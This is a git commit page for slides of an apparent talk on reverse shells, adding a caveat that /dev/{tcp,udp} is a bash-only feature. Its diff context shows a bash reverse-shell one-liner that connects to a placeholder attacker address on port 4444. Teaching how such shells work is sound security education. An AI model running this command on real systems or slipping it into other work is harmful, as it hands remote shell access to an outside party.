Add caveat about /dev/{tcp,udp}

nodeselector · Mar 8, 2024 · 21158df · 21158df
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commit 21158df
Showing 1 changed file with 2 additions and 0 deletions.
diff --git a/talks/reverse-shells-for-fun-and-profit/slides.md b/talks/reverse-shells-for-fun-and-profit/slides.md
@@ -64,6 +64,8 @@ bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1
 
 Now we're living off the land and have zero dependencies! (outside of network egress)
 
+> ! Note: /dev/{tcp,udp} is not a real file, it's a bash feature (non-POSIX). Other shells may not support this.
+
 ---
 
 # Concerns